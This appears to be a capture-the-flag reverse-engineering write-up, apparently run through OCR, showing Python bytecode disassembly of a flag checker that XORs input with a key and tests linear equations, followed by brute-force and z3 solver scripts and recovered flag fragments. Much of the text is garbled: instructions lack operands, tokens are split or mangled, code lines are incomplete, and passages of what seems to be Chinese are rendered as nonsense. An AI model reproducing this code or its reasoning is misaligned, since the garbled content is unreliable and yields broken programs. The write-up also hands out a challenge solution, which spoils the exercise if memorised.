(==

('good!continue\xe2\x80\xa6\xe2\x80\xa6")

(to 290)

("bye~")

9 (x)

(5)
(k)

(to 433)

(range)
(13)

(to 432)
(1)

(ord)

4 (str)

(k)

(b)

(ord)

4 (str)

(k)
(1)




BINARY_MODULO
BINARY_SUBSCR
BINARY_XOR
STORE_NAME

LOAD_NAME

LOAD_NAME

LOAD_NAME

LOAD_CONST

BINARY_MODULO

BINARY_SUBSCR

BINARY_XOR

STORE_NAME (a22)

LOAD_NAME (x)
LOAD_ATTR (append)
LOAD_NAME (al1)
CALL_FUNCTION

POP_TOP

LOAD_NAME (x)
LOAD_ATTR (append)
LOAD_NAME (a22)
CALL_FUNCTION

POP_TOP

LOAD_NAME
LOAD_CONST
INPLACE_ADD
STORE_NAME
JUMP_ABSOLUTE
POP_BLOCK

LOAD_NAME (x)
LOAD_NAME (output)
COMPARE_OP (==
POP_JUMP_IF_FALSE

LOAD_CONST ('good!continue\xe2\x80\xa6\xe2\x80\xa6")
PRINT_ITEM

PRINT_NEWLINE

JUMP_FORWARD (to 468)

LOAD_CONST ('oh,you are wrong!")
PRINT_ITEM
PRINT_NEWLINE

LOAD_NAME
LOAD_CONST
CALL_FUNCTION
POP_TOP

LOAD_NAME
LOAD_NAME
CALL_FUNCTION
STORE_NAME

LOAD_NAME
LOAD NAME




LOAD_NAME
LOAD_CONST
BINARY_SUBTRACT
BINARY_SUBSCR
CALL_FUNCTION
STORE_NAME

LOAD_NAME
LOAD_NAME
LOAD_NAME
LOAD_CONST
BINARY_SUBTRACT
BINARY_SUBSCR
CALL_FUNCTION
STORE_NAME

LOAD_NAME
LOAD_NAME
LOAD_NAME
LOAD_CONST
BINARY_SUBTRACT
BINARY_SUBSCR
CALL_FUNCTION
STORE_NAME

LOAD_NAME
LOAD_NAME
LOAD_NAME
LOAD_CONST
BINARY_SUBTRACT

BINARY_SUBSCR
CALL_FUNCTION
STORE_NAME

LOAD_NAME
LOAD_NAME
LOAD_NAME
LOAD_CONST
BINARY_SUBTRACT
BINARY_SUBSCR
CALL_FUNCTION
STORE_NAME

LOAD_NAME
LOAD_NAME
LOAD_NAME
LOAD_CONST
BINARY_SUBTRACT
BINARY_SUBSCR
CALL_FUNCTION
STORE_NAME

LOAD_NAME
LOAD_CONST
BINARY_MULTIPLY
LOAD_NAME
LOAD_CONST
BINARY_MULTIPLY
BINARY_ADD




LOAD_CONST
BINARY_MULTIPLY
BINARY_ADD
LOAD_CONST
COMPARE_OP
POP_JUMP_IF_FALSE

LOAD_NAME

LOAD_CONST

BINARY MULTIPLY

LOAD_NAME

LOAD_CONST

BINARY_MULTIPLY

BINARY_ADD

LOAD_NAME

LOAD_CONST

BINARY MULTIPLY

BINARY_ADD

LOAD_CONST (2013)
COMPARE_OP (==
POP_JUMP_IF_FALSE

LOAD_NAME
LOAD_NAME
LOAD_CONST
BINARY_ MULTIPLY
BINARY_ADD
LOAD_NAME
LOAD_CONST

BINARY MULTIPLY
BINARY_ADD
LOAD_CONST
COMPARE_OP
POP_JUMP_IF_FALSE

LOAD_NAME
LOAD_CONST
BINARY_MULTIPLY
LOAD_NAME
LOAD_CONST
BINARY_MULTIPLY
BINARY_ADD
LOAD_NAME
LOAD_CONST
BINARY_MULTIPLY
BINARY_ADD
LOAD_CONST
COMPARE_OP
POP_JUMP_IF_FALSE

LOAD_NAME
LOAD_CONST
BINARY_MULTIPLY
LOAD_NAME
LOAD_CONST
BINARY_MULTIPLY
BINARY_ADD
LOAD_NAME

L OAD CONST




BINARY_MULTIPLY

BINARY_ADD

LOAD_CONST (1252)
COMPARE_OP (==
POP_JUMP_IF_FALSE

LOAD_NAME (a4)
LOAD_NAME (a5)
LOAD_CONST (8)
BINARY_MULTIPLY

BINARY_ADD

LOAD_NAME

LOAD_CONST

BINARY_MULTIPLY

BINARY_ADD

LOAD_CONST

COMPARE_OP

POP_JUMP_IF_FALSE

LOAD_CONST ('congraduation!you get the right flag!')
PRINT_ITEM

PRINT_NEWLINE

JUMP_ABSOLUTE

JUMP_ABSOLUTE

JUMP_ABSOLUTE

JUMP_ABSOLUTE

JUMP_ABSOLUTE

JUMP_FORWARD (to 807)
LOAD_CONST (None)
RETURN_VALUE




[3, 37, 72, 9, 6, 132]
[101, 96, 23, 68, 112, 42, 107, 62, 96, 53, 176, 179, 98, 53, 67, 29, 41, 120, 60, 106, 51, 101, 178, 1

48]

38:

exit(9)

(stri[o@])
(stri[1])

2020
(stri[2])

2020
(stri[3])

2020
(stri[4])

if s 1182843538814603:
)

(stri[k])
C (stri[k + 1])
all = c ~ en[i % 6]
a22 = b ~ en[i % 6]
x.append(all)
X.append(a22)

(stri[l
(stri[l
(strifl
(strifl
(strifl
(stri[l

BRI e — B, AR B RV AE R %R GWHT{ , NG IEH




(stri[e]) * 2020
(stri[1])

2020
(stri[2])

2020
(stri[3])

2020
(stri[4])
1182843538814603:

)

, 37, 72, 9, 6, 132]
[101, 96, 23, 68, 112, 42, 187, 62, 96, 53, 176, 179, 98, 53, 67, 29, 41, 120, 60, 106, 51, 101, 178, 1

for zz in (0, 26, 2):
def foo():
for xx in (42, 127):
for yy in (42, 127):
strl f
X

k

(stri[k])
(stri[k + 1])
C en[i 6]
a22 = b ~ en[1 % 6]
x.append(all)
X.append(a22)
k 2
if x[zz] output[zz] x[zz
final.append(xx)
final.append(yy)
return
print( » 2Z)
foo()

print("".join([ (i) for i in finall))

cfa2b87b3f746a8f0ac5c5963f

BB, NMR BRI, SRR LB TFTIEA, ZBH MR




from z3 import

al, a2, a3, a4, a5, a6 Ints(

Solver()

.add (a1l
.add (a1l
.add (a1
.add (a4
.add (a4
.add (a4

X .check()

print(x.model())

for i in [97, 101, 102, 102, 55, 51]:
print( (i), end )

[a5 55, a2 101, a6 51, a3 102, a4 102, al
aeff73
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